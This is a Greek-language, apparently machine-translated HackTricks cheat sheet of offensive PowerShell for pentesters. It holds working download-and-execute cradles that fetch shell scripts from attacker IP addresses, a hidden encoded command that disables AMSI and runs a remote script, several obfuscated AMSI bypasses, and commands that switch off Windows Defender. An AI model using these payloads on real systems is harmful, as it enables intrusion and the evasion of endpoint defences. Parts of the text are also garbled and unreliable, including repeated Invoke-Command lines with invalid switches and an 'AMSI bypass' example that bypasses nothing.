Basic PowerShell for Pentesters

Μάθετε χάκερισμα στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Προεπιλεγμένες τοποθεσίες του PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Βασικές εντολές PS για ένα ξεκίνημα

Οι παρακάτω είναι βασικές εντολές PowerShell για να ξεκινήσετε:

Εκτέλεση ενός απλού εντολολογίου

Get-Process

Εμφάνιση των διαθέσιμων εντολών

Get-Command

Εμφάνιση των διαθέσιμων εντολών για ένα συγκεκριμένο θέμα

Get-Command -Module <Module_Name>

Εμφάνιση πληροφοριών για μια εντολή

Get-Help <Command_Name>

Εκτέλεση ενός αρχείου PowerShell

.\script.ps1

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1>

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username>

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια και κρυπτογραφημένη σύνδεση

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username> -UseSSL

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια και κρυπτογραφημένη σύνδεση, χρησιμοποιώντας το πρωτόκολλο WinRM

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username> -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια και κρυπτογραφημένη σύνδεση, χρησιμοποιώντας το πρωτόκολλο WinRM και παράκαμψη ελέγχου πιστοποιητικού

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username> -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck)

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια και κρυπτογραφημένη σύνδεση, χρησιμοποιώντας το πρωτόκολλο WinRM και παράκαμψη ελέγχου πιστοποιητικού και ελέγχου ανάκλησης

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username> -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -SkipCRLCheck)

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια και κρυπτογραφημένη σύνδεση, χρησιμοποιώντας το πρωτόκολλο WinRM και παράκαμψη ελέγχου πιστοποιητικού, ελέγχου ανάκλησης και ελέγχου λίστας ανακλήσεων

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username> -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -SkipCRLCheck -SkipCTLCheck)

Εκτέλεση ενός αρχείου PowerShell από μια απομακρυσμένη τοποθεσία με διαπιστευτήρια και κρυπτογραφημένη σύνδεση, χρησιμοποιώντας το πρωτόκολλο WinRM και παράκαμψη ελέγχου πιστοποιητικού, ελέγχου ανάκλησης, ελέγχου λίστας ανακλήσεων και ελέγχου λίστας ελέγχου πιστοποιητικού

Invoke-Command -ComputerName <Computer_Name> -FilePath <Path_to_script.ps1> -Credential <Username> -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -SkipCRLCheck -SkipCTLCheck -SkipCertificateCheck)
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Λήψη και Εκτέλεση

Για να κατεβάσετε και να εκτελέσετε ένα αρχείο PowerShell από μια απομακρυσμένη τοποθεσία, μπορείτε να χρησιμοποιήσετε την εντολή Invoke-WebRequest. Ακολουθήστε τα παρακάτω βήματα:

  1. Χρησιμοποιήστε την εντολή Invoke-WebRequest για να κατεβάσετε το αρχείο PowerShell από την απομακρυσμένη τοποθεσία. Για παράδειγμα:

    Invoke-WebRequest -Uri "https://www.example.com/malicious-script.ps1" -OutFile "C:\Temp\malicious-script.ps1"

    Αντικαταστήστε το "https://www.example.com/malicious-script.ps1" με το URL του αρχείου PowerShell που θέλετε να κατεβάσετε και το "C:\Temp\malicious-script.ps1" με την τοποθεσία στην οποία θέλετε να αποθηκεύσετε το αρχείο.

  2. Χρησιμοποιήστε την εντολή Invoke-Expression για να εκτελέσετε το αρχείο PowerShell που κατεβάσατε. Για παράδειγμα:

    Invoke-Expression -Command "C:\Temp\malicious-script.ps1"

    Αντικαταστήστε το "C:\Temp\malicious-script.ps1" με την πλήρη διαδρομή του αρχείου PowerShell που κατεβάσατε.

Με αυτόν τον τρόπο, μπορείτε να κατεβάσετε και να εκτελέσετε αρχεία PowerShell από απομακρυσμένες τοποθεσίες. Προσέξτε όμως, καθώς αυτή η διαδικασία μπορεί να είναι επικίνδυνη και να προκαλέσει ασφαλειακά προβλήματα. Πάντα επιβεβαιώνετε την πηγή και την ασφάλεια των αρχείων που κατεβάζετε πριν τα εκτελέσετε.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Λήψη και εκτέλεση στο παρασκήνιο με παράκαμψη AMSI

Για να κατεβάσετε και να εκτελέσετε ένα αρχείο στο παρασκήνιο με παράκαμψη του AMSI, μπορείτε να χρησιμοποιήσετε το PowerShell. Ο AMSI (Antimalware Scan Interface) είναι μια τεχνολογία που χρησιμοποιείται από τα αντικαταστατικά λογισμικά για να ανιχνεύουν κακόβουλο κώδικα.

Για να παρακάμψετε το AMSI, μπορείτε να χρησιμοποιήσετε την τεχνική "Reflective DLL Injection". Αυτή η τεχνική επιτρέπει τη φόρτωση μιας DLL σε μια διεργασία χωρίς να χρειάζεται να γραφτεί σε ένα αρχείο στον δίσκο. Έτσι, μπορείτε να παρακάμψετε τον έλεγχο του AMSI και να εκτελέσετε το κακόβουλο κώδικα στο παρασκήνιο.

Παρακάτω παρέχεται ένα παράδειγμα κώδικα PowerShell για να κατεβάσετε και να εκτελέσετε ένα αρχείο στο παρασκήνιο με παράκαμψη του AMSI:

$Url = "URL_ΑΡΧΕΙΟΥ"
$Output = "ΔΙΑΔΡΟΜΗ_ΑΠΟΘΗΚΕΥΣΗΣ_ΑΡΧΕΙΟΥ"

$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($Url, $Output)

$Bytes = [System.IO.File]::ReadAllBytes($Output)
$Assembly = [System.Reflection.Assembly]::Load($Bytes)

$Type = $Assembly.GetType("ΟΝΟΜΑ_ΚΛΑΣΗΣ")
$Method = $Type.GetMethod("ΟΝΟΜΑ_ΜΕΘΟΔΟΥ")
$Method.Invoke($null, @())

Αντικαταστήστε τις μεταβλητές $Url και $Output με το URL του αρχείου που θέλετε να κατεβάσετε και τη διαδρομή αποθήκευσης του αρχείου αντίστοιχα. Επίσης, αντικαταστήστε το "ΟΝΟΜΑ_ΚΛΑΣΗΣ" και το "ΟΝΟΜΑ_ΜΕΘΟΔΟΥ" με το όνομα της κλάσης και της μεθόδου που θέλετε να εκτελέσετε από το κατεβασμένο αρχείο.

Αυτός ο κώδικας θα κατεβάσει το αρχείο από τον καθορισμένο URL και θα το εκτελέσει στο παρασκήνιο, παρακάμπτοντας τον έλεγχο του AMSI.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Χρήση της εντολής b64 από το Linux

Η εντολή b64 είναι ένα εργαλείο που χρησιμοποιείται για την κωδικοποίηση και αποκωδικοποίηση αρχείων σε Base64 μορφή. Αυτή η εντολή είναι χρήσιμη για πολλούς σκοπούς, όπως για παράδειγμα τη μεταφορά δεδομένων μέσω δικτύου ή την απόκρυψη πληροφοριών.

Για να κωδικοποιήσετε ένα αρχείο σε Base64 μορφή, μπορείτε να χρησιμοποιήσετε την εξής εντολή:

b64 -e <input_file> > <output_file>

Όπου <input_file> είναι το αρχείο που θέλετε να κωδικοποιήσετε και <output_file> είναι το αρχείο στο οποίο θα αποθηκευτεί η κωδικοποιημένη έξοδος.

Για να αποκωδικοποιήσετε ένα αρχείο από Base64 μορφή, μπορείτε να χρησιμοποιήσετε την εξής εντολή:

b64 -d <input_file> > <output_file>

Όπου <input_file> είναι το αρχείο που περιέχει την κωδικοποιημένη είσοδο και <output_file> είναι το αρχείο στο οποίο θα αποθηκευτεί η αποκωδικοποιημένη έξοδος.

Με αυτόν τον τρόπο, μπορείτε να χρησιμοποιήσετε την εντολή b64 για να κωδικοποιήσετε και αποκωδικοποιήσετε αρχεία σε Base64 μορφή από το Linux.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Λήψη

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Η εντολή Invoke-WebRequest χρησιμοποιείται στο PowerShell για να κάνει αιτήσεις HTTP ή HTTPS σε έναν διακομιστή και να λάβει την απόκριση του. Μπορεί να χρησιμοποιηθεί για να κατεβάσει αρχεία, να ανακτήσει πληροφορίες από ιστοσελίδες ή να εκτελέσει άλλες ενέργειες που απαιτούν αλληλεπίδραση με έναν διακομιστή.

Για να χρησιμοποιήσετε την εντολή Invoke-WebRequest, απλά εκτελέστε την εντολή και παρέχετε το URL του διακομιστή που θέλετε να αιτηθείτε. Μπορείτε επίσης να προσθέσετε παραμέτρους όπως τον τύπο της αίτησης, τα headers και τα cookies.

Παράδειγμα:

Invoke-WebRequest -Uri "https://www.example.com"

Αυτή η εντολή θα κάνει μια αίτηση GET στο URL "https://www.example.com" και θα επιστρέψει την απόκριση του διακομιστή.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Το Wget είναι ένα εργαλείο γραμμής εντολών που χρησιμοποιείται για τη λήψη αρχείων από το διαδίκτυο. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε αρχεία μέσω πρωτοκόλλων HTTP, HTTPS και FTP. Το Wget είναι ιδιαίτερα χρήσιμο για την αυτοματοποίηση της διαδικασίας λήψης αρχείων και μπορεί να χρησιμοποιηθεί σε σενάρια εντολών ή σε σενάρια shell. Μερικές από τις βασικές εντολές που μπορείτε να χρησιμοποιήσετε με το Wget περιλαμβάνουν:

  • Λήψη ενός αρχείου: wget <URL>

  • Λήψη αρχείου και αποθήκευση με διαφορετικό όνομα: wget -O <όνομα_αρχείου> <URL>

  • Συνέχιση μιας διακοπείσας λήψης: wget -c <URL>

  • Λήψη αρχείων από πολλαπλές διευθύνσεις URL: wget <URL1> <URL2> <URL3>

Το Wget παρέχει επίσης πολλές επιλογές για τον έλεγχο της διαδικασίας λήψης, όπως η περιορισμένη ταχύτητα λήψης, η αποθήκευση cookies και η επαναληπτική λήψη αρχείων. Μπορείτε να βρείτε περισσότερες πληροφορίες και παραδείγματα χρήσης στο εγχειρίδιο χρήσης του Wget.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

Ο BitsTransfer είναι ένα εργαλείο της γλώσσας PowerShell που επιτρέπει τη μεταφορά αρχείων μέσω του πρωτοκόλλου Background Intelligent Transfer Service (BITS). Αυτό το εργαλείο είναι χρήσιμο για τη μεταφορά αρχείων από και προς διάφορες πηγές, όπως διακομιστές HTTP, FTP και SMB.

Για να χρησιμοποιήσετε το BitsTransfer, μπορείτε να χρησιμοποιήσετε την εντολή Start-BitsTransfer. Αυτή η εντολή σας επιτρέπει να καθορίσετε το αρχείο προέλευσης, τον προορισμό και άλλες επιλογές, όπως την παρακολούθηση της προόδου της μεταφοράς.

Παράδειγμα χρήσης της εντολής Start-BitsTransfer:

Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\temp\file.txt"

Αυτή η εντολή θα ξεκινήσει μια μεταφορά από το αρχείο http://example.com/file.txt στον τοπικό φάκελο C:\temp\file.txt.

Το BitsTransfer είναι ένα χρήσιμο εργαλείο για τους pentesters, καθώς μπορεί να χρησιμοποιηθεί για τη λήψη ή τη μεταφορά αρχείων κατά τη διάρκεια μιας επίθεσης.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Κωδικοποίηση Base64 στο Kali & EncodedCommand

Η κωδικοποίηση Base64 είναι μια τεχνική που χρησιμοποιείται για τη μετατροπή δεδομένων σε μια μορφή που είναι αναγνώσιμη από τον υπολογιστή. Στο Kali Linux, μπορείτε να χρησιμοποιήσετε την εντολή base64 για να κωδικοποιήσετε ή να αποκωδικοποιήσετε δεδομένα σε Base64.

Για να κωδικοποιήσετε ένα αρχείο σε Base64 στο Kali Linux, μπορείτε να χρησιμοποιήσετε την εξής εντολή:

base64 -w 0 <file> > <output_file>

Αντικαταστήστε το <file> με το όνομα του αρχείου που θέλετε να κωδικοποιήσετε και το <output_file> με το όνομα του αρχείου εξόδου.

Για να αποκωδικοποιήσετε ένα αρχείο από Base64 στο Kali Linux, μπορείτε να χρησιμοποιήσετε την εξής εντολή:

base64 -d <file> > <output_file>

Αντικαταστήστε το <file> με το όνομα του αρχείου που θέλετε να αποκωδικοποιήσετε και το <output_file> με το όνομα του αρχείου εξόδου.

Επιπλέον, η παράμετρος -w 0 χρησιμοποιείται για να απενεργοποιήσει την αυτόματη αλλαγή γραμμής στην κωδικοποίηση Base64. Αυτό είναι χρήσιμο όταν θέλετε να διατηρήσετε την αρχική δομή των δεδομένων.

Επιπλέον, η παράμετρος EncodedCommand χρησιμοποιείται συχνά στο PowerShell για να εκτελέσει κωδικοποιημένες εντολές. Μπορείτε να χρησιμοποιήσετε την εντολή powershell.exe για να εκτελέσετε μια κωδικοποιημένη εντολή PowerShell με την παράμετρο EncodedCommand.

Παράδειγμα:

powershell.exe -EncodedCommand <base64_encoded_command>

Αντικαταστήστε το <base64_encoded_command> με την κωδικοποιημένη εντολή PowerShell που θέλετε να εκτελέσετε.

Αυτές οι τεχνικές μπορούν να χρησιμοποιηθούν από pentesters για να κωδικοποιήσουν και να αποκωδικοποιήσουν δεδομένα και εντολές, προσφέροντας έτσι μεγαλύτερη ευελιξία και ασφάλεια κατά την εκτέλεση επιθέσεων.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Ενεργοποίηση του WinRM (Απομακρυσμένο PS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Απενεργοποίηση του Defender

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

Παράκαμψη AMSI

Το amsi.dll φορτώνεται στη διεργασία σας και έχει τις απαραίτητες εξαγωγές για οποιαδήποτε εφαρμογή να αλληλεπιδράσει με αυτό. Και επειδή φορτώνεται στον χώρο μνήμης μιας διεργασίας που ελέγχετε, μπορείτε να αλλάξετε τη συμπεριφορά του αν αντικαταστήσετε οδηγίες στη μνήμη. Κάνοντάς το να μην ανιχνεύει τίποτα.

Συνεπώς, ο στόχος των παρακαμπτήρων AMSI που θα χρησιμοποιήσετε είναι να αντικαταστήσετε τις οδηγίες αυτής της DLL στη μνήμη για να καταστήσετε την ανίχνευση άχρηστη.

Ιστοσελίδα δημιουργού παρακάμψεων AMSI: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

Παράκαμψη AMSI 2 - Αγκίστρωση Κλήσης Διαχειριζόμενου API

Ελέγξτε αυτήν την ανάρτηση για λεπτομερείς πληροφορίες και τον κώδικα. Εισαγωγή:

Αυτή η νέα τεχνική βασίζεται στην αγκίστρωση κλήσης των μεθόδων .NET. Όπως αποδεικνύεται, οι μέθοδοι .NET πρέπει να μεταγλωττιστούν σε φυσικές εντολές μηχανής στη μνήμη, οι οποίες μοιάζουν πολύ με φυσικές μεθόδους. Αυτές οι μεταγλωττισμένες μεθόδοι μπορούν να αγκιστρωθούν για να αλλάξουν τη ροή ελέγχου ενός προγράμματος.

Οι βήματα για την αγκίστρωση κλήσης των μεθόδων .NET είναι:

  1. Αναγνώριση της μεθόδου προορισμού για αγκίστρωση

  2. Ορισμός μιας μεθόδου με την ίδια πρωτότυπη λειτουργία όπως η προορισμένη

  3. Χρήση ανάκλασης για την εύρεση των μεθόδων

  4. Βεβαιωθείτε ότι έχει γίνει μεταγλώττιση κάθε μεθόδου

  5. Βρείτε τη θέση κάθε μεθόδου στη μνήμη

  6. Αντικαταστήστε τη μέθοδο προορισμού με εντολές που δείχνουν στην κακόβουλη μας μέθοδο

Παράκαμψη AMSI 3 - Προνόμιο SeDebug

Ακολουθώντας αυτόν τον οδηγό και τον κώδικα μπορείτε να δείτε πώς, με επαρκή δικαιώματα για να εντοπίζετε σφάλματα σε διεργασίες, μπορείτε να δημιουργήσετε ένα διεργασία powershell.exe, να την εντοπίσετε, να παρακολουθήσετε όταν φορτώνει το amsi.dll και να το απενεργοποιήσετε.

Παράκαμψη AMSI - Περισσότεροι Πόροι

Ιστορικό PS

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Εύρεση πιο πρόσφατων αρχείων

Επιλογές: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Λήψη δικαιωμάτων

To get the permissions of a file or directory in Windows, you can use the Get-Acl cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.

Get-Acl -Path C:\path\to\file.txt

This command will display the permissions associated with the specified file or directory. The output will include information such as the owner, group, and individual permissions for different users and groups.

You can also use the Get-Acl cmdlet with wildcards to retrieve the permissions for multiple files or directories at once.

Get-Acl -Path C:\path\to\folder\*

This command will display the permissions for all files and directories within the specified folder.

By default, the Get-Acl cmdlet only displays the permissions for the object itself. If you want to recursively retrieve the permissions for all files and subdirectories within a directory, you can use the Get-ChildItem cmdlet in combination with Get-Acl.

Get-ChildItem -Path C:\path\to\folder -Recurse | Get-Acl

This command will display the permissions for all files and subdirectories within the specified folder, including any nested directories.

By understanding the permissions associated with files and directories, you can better assess the security posture of a system and identify potential vulnerabilities.

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Έκδοση του λειτουργικού συστήματος και ενημερώσεις

Για να αποκτήσετε πληροφορίες σχετικά με την έκδοση του λειτουργικού συστήματος και τις ενημερώσεις που έχουν εγκατασταθεί, μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές PowerShell:

# Εμφανίζει την έκδοση του λειτουργικού συστήματος
(Get-WmiObject -Class Win32_OperatingSystem).Caption

# Εμφανίζει τον αριθμό έκδοσης του λειτουργικού συστήματος
(Get-WmiObject -Class Win32_OperatingSystem).Version

# Εμφανίζει τις ενημερώσεις που έχουν εγκατασταθεί
Get-HotFix

Αυτές οι εντολές θα σας παράσχουν πληροφορίες σχετικά με την έκδοση του λειτουργικού συστήματος που χρησιμοποιείτε και τις ενημερώσεις που έχουν εγκατασταθεί σε αυτό.

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Περιβάλλον

The following section provides information about the environment required for executing the PowerShell commands and scripts mentioned in this guide.

Η παρακάτω ενότητα παρέχει πληροφορίες σχετικά με το περιβάλλον που απαιτείται για την εκτέλεση των εντολών και των σεναρίων PowerShell που αναφέρονται σε αυτόν τον οδηγό.

PowerShell Version

Έκδοση PowerShell

Make sure you have PowerShell version 5.1 or later installed on your system. You can check the installed version by running the following command:

Βεβαιωθείτε ότι έχετε εγκατεστημένη την έκδοση 5.1 ή νεότερη του PowerShell στο σύστημά σας. Μπορείτε να ελέγξετε την εγκατεστημένη έκδοση εκτελώντας την παρακάτω εντολή:

$PSVersionTable.PSVersion

Execution Policy

Πολιτική Εκτέλεσης

To run PowerShell scripts, you may need to modify the execution policy on your system. By default, the execution policy is set to Restricted, which prevents the execution of scripts. To change the execution policy, open a PowerShell session with administrative privileges and run the following command:

Για να εκτελέσετε σενάρια PowerShell, μπορεί να χρειαστεί να τροποποιήσετε την πολιτική εκτέλεσης στο σύστημά σας. Από προεπιλογή, η πολιτική εκτέλεσης είναι ορισμένη σε Restricted, που αποτρέπει την εκτέλεση σεναρίων. Για να αλλάξετε την πολιτική εκτέλεσης, ανοίξτε μια συνεδρία PowerShell με διαχειριστικά δικαιώματα και εκτελέστε την παρακάτω εντολή:

Set-ExecutionPolicy Unrestricted

PowerShell Modules

Ενότητες PowerShell

Some of the PowerShell commands and scripts mentioned in this guide may require specific PowerShell modules to be installed. To install a module, open a PowerShell session with administrative privileges and run the following command:

Ορισμένες από τις εντολές και τα σενάρια PowerShell που αναφέρονται σε αυτόν τον οδηγό μπορεί να απαιτούν την εγκατάσταση συγκεκριμένων ενοτήτων PowerShell. Για να εγκαταστήσετε μια ενότητα, ανοίξτε μια συνεδρία PowerShell με διαχειριστικά δικαιώματα και εκτελέστε την παρακάτω εντολή:

Install-Module -Name ModuleName

Replace ModuleName with the name of the module you want to install.

Αντικαταστήστε το ModuleName με το όνομα της ενότητας που θέλετε να εγκαταστήσετε.

Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value

Άλλοι συνδεδεμένοι δίσκοι

